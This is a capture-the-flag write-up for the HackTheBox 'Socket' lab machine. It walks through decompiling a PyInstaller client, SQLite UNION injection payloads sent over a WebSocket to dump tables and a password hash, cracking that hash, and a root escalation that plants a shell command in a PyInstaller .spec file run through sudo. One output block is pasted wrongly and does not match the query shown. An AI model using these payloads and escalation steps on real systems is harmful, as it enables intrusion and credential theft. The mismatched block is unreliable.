HackTheBox - Socket Writeup
Table of Contents
Recon #
Firstly, we run nmap
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/only4you]
└─$ nmap -A -T5 10.10.11.206
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-27 09:26 CEST
Nmap scan report for 10.10.11.206
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://qreader.htb/
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.09 seconds
As we can see, we need to add the following line on our /ect/hosts
to visit the webserver:
10.10.11.206 qreader.htb
Web Enumeration #
Here is the website hosted on the server:
There is to main functions:
- The first one allows us to scan a QR Code and then to display the text embedded on it
- The second one allows us to embed text on a QR Code
Near the footer of the page, we can see that there is a link to download a desktop application wich reproduce the two functions.
Binaries #
After we have downloaded the executable, we check the file type:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/only4you]
└─$ file /media/psf/Home/Downloads/QReader_lin_v0.0.2/app/qreader
/media/psf/Home/Downloads/QReader_lin_v0.0.2/app/qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped
As the web app is built with flask
, it’s likely that the executable is written in python
. Let’s check that:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ strings qreader | grep py | tail
xcv2/load_config_py2.py
xcv2/load_config_py3.py
xcv2/mat_wrapper/__init__.py
xcv2/misc/__init__.py
xcv2/misc/version.py
xcv2/utils/__init__.py
xcv2/version.py
zPYZ-00.pyz
6libpython3.10.so.1.0
pydata
After some researches, I’ve found a
project that allows to extract pyinstaller
archive from an ELF executable.
PyInstaller bundles a Python application and all its dependencies into a single package. The user can run the packaged app without installing a Python interpreter or any modules.
Let’s try this technique:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 pyinstxtractor/pyinstxtractor.py qreader
[+] Processing qreader
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 108535118 bytes
[+] Found 305 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pyqt5.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: qreader.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: qreader
You can now use a python decompiler on the pyc files within the extracted directory
It works, but we’ll run the script with python3.10
because the archive has been built with this version of python.
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3.10 pyinstxtractor/pyinstxtractor.py qreader
[+] Processing qreader
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 108535118 bytes
[+] Found 305 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pyqt5.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: qreader.pyc
[+] Found 637 files in PYZ archive
[+] Successfully extracted pyinstaller archive: qreader
You can now use a python decompiler on the pyc files within the extracted directory
Now, we have to decompile pyc
files in order to retrieve the source code. For that, we’ll install and build
Decompyle++:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ git clone https://github.com/zrax/pycdc.git
Cloning into 'pycdc'...
remote: Enumerating objects: 2439, done.
remote: Counting objects: 100% (798/798), done.
remote: Compressing objects: 100% (213/213), done.
remote: Total 2439 (delta 617), reused 625 (delta 583), pack-reused 1641
Receiving objects: 100% (2439/2439), 706.76 KiB | 5.08 MiB/s, done.
Resolving deltas: 100% (1515/1515), done.
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ cd pycdc
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket/pycdc]
└─$ cmake .
-- The C compiler identification is GNU 12.2.0
-- The CXX compiler identification is GNU 12.2.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found PythonInterp: /usr/bin/python (found version "3.11.2")
-- Configuring done
-- Generating done
-- Build files have been written to: /home/parallels/Workspace/htb/socket/pycdc
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket/pycdc]
└─$ make
[ 2%] Generating bytes/python_10.cpp, bytes/python_11.cpp, bytes/python_13.cpp, bytes/python_14.cpp, bytes/python_15.cpp, bytes/python_16.cpp, bytes/python_20.cpp, bytes/python_21.cpp, bytes/python_22.cpp, bytes/python_23.cpp, bytes/python_24.cpp, bytes/python_25.cpp, bytes/python_26.cpp, bytes/python_27.cpp, bytes/python_30.cpp, bytes/python_31.cpp, bytes/python_32.cpp, bytes/python_33.cpp, bytes/python_34.cpp, bytes/python_35.cpp, bytes/python_36.cpp, bytes/python_37.cpp, bytes/python_38.cpp, bytes/python_39.cpp, bytes/python_310.cpp, bytes/python_311.cpp
[ 4%] Building CXX object CMakeFiles/pycxx.dir/bytecode.cpp.o
[ 7%] Building CXX object CMakeFiles/pycxx.dir/data.cpp.o
[ 9%] Building CXX object CMakeFiles/pycxx.dir/pyc_code.cpp.o
[ 11%] Building CXX object CMakeFiles/pycxx.dir/pyc_module.cpp.o
[ 14%] Building CXX object CMakeFiles/pycxx.dir/pyc_numeric.cpp.o
[ 16%] Building CXX object CMakeFiles/pycxx.dir/pyc_object.cpp.o
[ 19%] Building CXX object CMakeFiles/pycxx.dir/pyc_sequence.cpp.o
[ 21%] Building CXX object CMakeFiles/pycxx.dir/pyc_string.cpp.o
[ 23%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_10.cpp.o
[ 26%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_11.cpp.o
[ 28%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_13.cpp.o
[ 30%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_14.cpp.o
[ 33%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_15.cpp.o
[ 35%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_16.cpp.o
[ 38%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_20.cpp.o
[ 40%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_21.cpp.o
[ 42%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_22.cpp.o
[ 45%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_23.cpp.o
[ 47%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_24.cpp.o
[ 50%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_25.cpp.o
[ 52%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_26.cpp.o
[ 54%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_27.cpp.o
[ 57%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_30.cpp.o
[ 59%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_31.cpp.o
[ 61%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_32.cpp.o
[ 64%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_33.cpp.o
[ 66%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_34.cpp.o
[ 69%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_35.cpp.o
[ 71%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_36.cpp.o
[ 73%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_37.cpp.o
[ 76%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_38.cpp.o
[ 78%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_39.cpp.o
[ 80%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_310.cpp.o
[ 83%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_311.cpp.o
[ 85%] Linking CXX static library libpycxx.a
[ 85%] Built target pycxx
[ 88%] Building CXX object CMakeFiles/pycdas.dir/pycdas.cpp.o
[ 90%] Linking CXX executable pycdas
[ 90%] Built target pycdas
[ 92%] Building CXX object CMakeFiles/pycdc.dir/pycdc.cpp.o
[ 95%] Building CXX object CMakeFiles/pycdc.dir/ASTree.cpp.o
[ 97%] Building CXX object CMakeFiles/pycdc.dir/ASTNode.cpp.o
[100%] Linking CXX executable pycdc
[100%] Built target pycdc
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket/pycdc]
└─$ sudo make install
[ 85%] Built target pycxx
[ 90%] Built target pycdas
[100%] Built target pycdc
Install the project...
-- Install configuration: ""
-- Installing: /usr/local/bin/pycdas
-- Installing: /usr/local/bin/pycdc
In Python, .pyc files are compiled bytecode files that are generated by the Python interpreter when a Python script is imported or executed. The .pyc files contain compiled bytecode that can be executed directly by the interpreter, without the need to recompile the source code every time the script is run. This can result in faster script execution times, especially for large scripts or modules.
Now let’s decompile the qreader.pyc
file:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ pycdc qreader.exe_extracted/qreader.pyc > qreader.py
Unsupported opcode: WITH_EXCEPT_START
Unsupported opcode: BEFORE_ASYNC_WITH
Here is the full python
code obtained:
# Source Generated with Decompyle++
# File: qreader.pyc (Python 3.9)
import cv2
import sys
import qrcode
import tempfile
import random
import os
from PyQt5.QtWidgets import *
from PyQt5 import uic, QtGui
import asyncio
import websockets
import json
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'
def setup_env():
global tmp_file_name
pass
# WARNING: Decompyle incomplete
class MyGUI(QMainWindow):
def __init__(self = None):
super(MyGUI, self).__init__()
uic.loadUi(tmp_file_name, self)
self.show()
self.current_file = ''
self.actionImport.triggered.connect(self.load_image)
self.actionSave.triggered.connect(self.save_image)
self.actionQuit.triggered.connect(self.quit_reader)
self.actionVersion.triggered.connect(self.version)
self.actionUpdate.triggered.connect(self.update)
self.pushButton.clicked.connect(self.read_code)
self.pushButton_2.clicked.connect(self.generate_code)
self.initUI()
def initUI(self):
self.setWindowIcon(QtGui.QIcon(icon_path))
def load_image(self):
options = QFileDialog.Options()
(filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)')
if filename != '':
self.current_file = filename
pixmap = QtGui.QPixmap(self.current_file)
pixmap = pixmap.scaled(300, 300)
self.label.setScaledContents(True)
self.label.setPixmap(pixmap)
def save_image(self):
options = QFileDialog.Options()
(filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options, **('options',))
if filename != '':
img = self.label.pixmap()
img.save(filename, 'PNG')
def read_code(self):
if self.current_file != '':
img = cv2.imread(self.current_file)
detector = cv2.QRCodeDetector()
(data, bbox, straight_qrcode) = detector.detectAndDecode(img)
self.textEdit.setText(data)
else:
self.statusBar().showMessage('[ERROR] No image is imported!')
def generate_code(self):
qr = qrcode.QRCode(1, qrcode.constants.ERROR_CORRECT_L, 20, 2, **('version', 'error_correction', 'box_size', 'border'))
qr.add_data(self.textEdit.toPlainText())
qr.make(True, **('fit',))
img = qr.make_image('black', 'white', **('fill_color', 'back_color'))
img.save('current.png')
pixmap = QtGui.QPixmap('current.png')
pixmap = pixmap.scaled(300, 300)
self.label.setScaledContents(True)
self.label.setPixmap(pixmap)
def quit_reader(self):
if os.path.exists(tmp_file_name):
os.remove(tmp_file_name)
sys.exit()
def version(self):
response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
'version': VERSION })))
data = json.loads(response)
if 'error' not in data.keys():
version_info = data['message']
msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
self.statusBar().showMessage(msg)
else:
error = data['error']
self.statusBar().showMessage(error)
def update(self):
response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({
'version': VERSION })))
data = json.loads(response)
if 'error' not in data.keys():
msg = '[INFO] ' + data['message']
self.statusBar().showMessage(msg)
else:
error = data['error']
self.statusBar().showMessage(error)
__classcell__ = None
async def ws_connect(url, msg):
pass
# WARNING: Decompyle incomplete
def main():
(status, e) = setup_env()
if not status:
print('[-] Problem occured while setting up the env!')
app = QApplication([])
window = MyGUI()
app.exec_()
if __name__ == '__main__':
main()
Foothold #
WebSocket exploitation #
The websocket
caught our attention because any web security vulnerability that arises with regular HTTP can also arise in relation to WebSockets communications.
We’ll write a little python
script to understand the behavior of the endpoints:
import json
from websocket import create_connection
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
def version():
ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION }))
resp = ws.recv()
data = json.loads(resp)
print(data)
ws.close()
def update():
ws = create_connection(ws_host + '/update')
ws.send(json.dumps({'version': VERSION }))
resp = ws.recv()
data = json.loads(resp)
print(data)
ws.close()
version()
update()
Let’s execute it:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 2, 'version': '0.0.2', 'released_date': '26/09/2022', 'downloads': 720}}
{'message': 'You have the latest version installed!'}
As the server returns some informations from the version. We can assume that the version is a user input in a SQL query.
SQLite injection #
Let’s try to close quotes to see if an error is raised for example.
With VERSION = '0.0.2\''
, the '
added is interpreted as part of the version :
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': 'Invalid version!'}
{'message': 'Version 0.0.2 is available to download!'}
It seems that the SQL query is made with double quotes.
With VERSION = '0.0.2"'
we got an error:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
Traceback (most recent call last):
File "/home/parallels/Workspace/htb/socket/test.py", line 22, in <module>
version()
File "/home/parallels/Workspace/htb/socket/test.py", line 10, in version
data = json.loads(resp)
^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/json/__init__.py", line 346, in loads
return _default_decoder.decode(s)
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
Let’s try to add --
to comment everything behind (VERSION = '0.0.2" --'
):
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 2, 'version': '0.0.2', 'released_date': '26/09/2022', 'downloads': 720}}
{'message': 'Version 0.0.2 is available to download!'}
It looks like we found an injection !
Now we’ll try to use UNION SELECT NULL,NULL,NULL,NULL--
. Indeed, we can see that the initial request returns four columns (id,version,released_date,downloads). That’s why we put four NULL
, both queries must return the same number of columns.
Then, with VERSION = '0.0.2" UNION SELECT null,null,null,null--'
the request works:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 2, 'version': '0.0.2', 'released_date': '26/09/2022', 'downloads': 720}}
{'message': 'Version 0.0.2 is available to download!'}
After some enumeration, we found the backend with VERSION = '0.0.2" UNION SELECT sqlite_version(),"2","3","4" --'
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': '3.37.2', 'version': '2', 'released_date': '3', 'downloads': '4'}}
{'message': 'Version 0.0.2 is available to download!'}
So it’s an SQLite database.
Next, we’ll try to extract database structure with '0.0.2" UNION SELECT group_concat(sql),"2","3","4" from sqlite_master --'
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 'CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE versions (id INTEGER PRIMARY KEY AUTOINCREMENT, version TEXT, released_date DATE, downloads INTEGER),CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT),CREATE TABLE info (id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT, value TEXT),CREATE TABLE reports (id INTEGER PRIMARY KEY AUTOINCREMENT, reporter_name TEXT, subject TEXT, description TEXT, reported_date DATE),CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answered_by TEXT, answer TEXT , answered_date DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id))', 'version': '2', 'released_date': '3', 'downloads': '4'}}
{'message': 'Version 0.0.2 is available to download!'}
We started by extracting username and password with VERSION = '0.0.2" UNION SELECT group_concat(username),group_concat(password),"3","4" from users --'
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 'Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller', 'version': '2', 'released_date': '3', 'downloads': '4'}}
{'message': 'Version 0.0.2 is available to download!'}
Let’s crack the hash !
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
denjanjade122566 (?)
1g 0:00:00:00 DONE (2023-04-27 15:10) 1.612g/s 14005Kp/s 14005Kc/s 14005KC/s depressiva..denervaux
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Then, as admin
is not a valid username in order to authenticate through ssh
. We’ll try to extract usernames from other tables.
So, with VERSION = '0.0.2" UNION SELECT group_concat(answer),"2","3","4" from answers --'
, we found possible usernames:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 'Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller', 'version': '2', 'released_date': '3', 'downloads': '4'}}
{'message': 'Version 0.0.2 is available to download!'}
There is Mike and Thomas Keller. And after several tries, it’s tkeller
wich allows us to authenticate:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ ssh tkeller@qreader.htb
The authenticity of host 'qreader.htb (10.10.11.206)' can't be established.
ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:49: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'qreader.htb' (ED25519) to the list of known hosts.
tkeller@qreader.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-67-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Apr 27 01:11:50 PM UTC 2023
System load: 0.0
Usage of /: 68.0% of 8.51GB
Memory usage: 15%
Swap usage: 0%
Processes: 220
Users logged in: 0
IPv4 address for eth0: 10.10.11.206
IPv6 address for eth0: dead:beef::250:56ff:feb9:e79f
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Apr 27 09:03:51 2023 from 10.10.14.169
-bash-5.1$
PrivEsc #
We started the enumeration by checking sudo
privileges:
-bash-5.1$ sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
We can execute a bash
script as root. Let’s look at this script:
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
We can control the name
variable because it is the second argument. And name
is the file that will be executed by pyinstaller
.
In case the action is build
, the file name must have a .spec
extension. By reading some documentation, we learned this:
The spec file tells PyInstaller how to process your script. It encodes the script names and most of the options you give to the pyinstaller command. The spec file is actually executable Python code. PyInstaller builds the app by executing the contents of the spec file.
So if we add import os; os.system("/bin/sh")
in a .spec
file. It will pop a shell if we execute it with pyinstaller
.
Let’s try !
-bash-5.1$ echo 'import os; os.system("/bin/sh")' > test.spec
-bash-5.1$ sudo /usr/local/sbin/build-installer.sh build test.spec
160 INFO: PyInstaller: 5.6.2
418 INFO: Python: 3.10.6
423 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
426 INFO: UPX is not available.
# whoami
root
It works, we got a root shell !